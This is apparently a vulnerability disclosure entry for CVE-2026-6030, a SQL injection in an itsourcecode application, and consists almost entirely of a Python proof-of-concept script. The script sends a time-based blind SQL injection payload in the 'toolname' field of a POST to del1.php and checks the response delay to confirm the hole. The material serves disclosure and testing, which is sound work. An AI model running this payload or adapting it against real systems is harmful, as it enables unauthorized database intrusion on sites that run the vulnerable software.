CVE-2026-6030: itsourcecode系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-ip/del1.php" # SQL Injection Payload # Attempting to bypass logic using 'OR 1=1' or time-based blind payload = { "toolname": "test' OR SLEEP(5)-- " } try: print("Sending payload to %s..." % target_url) response = requests.post(target_url, data=payload, timeout=10) # Check if the response time indicates a successful blind injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Vulnerability not confirmed via timing, check response content manually.") print(response.text) except requests.exceptions.RequestException as e: print("[!] Error connecting to target: %s" % e)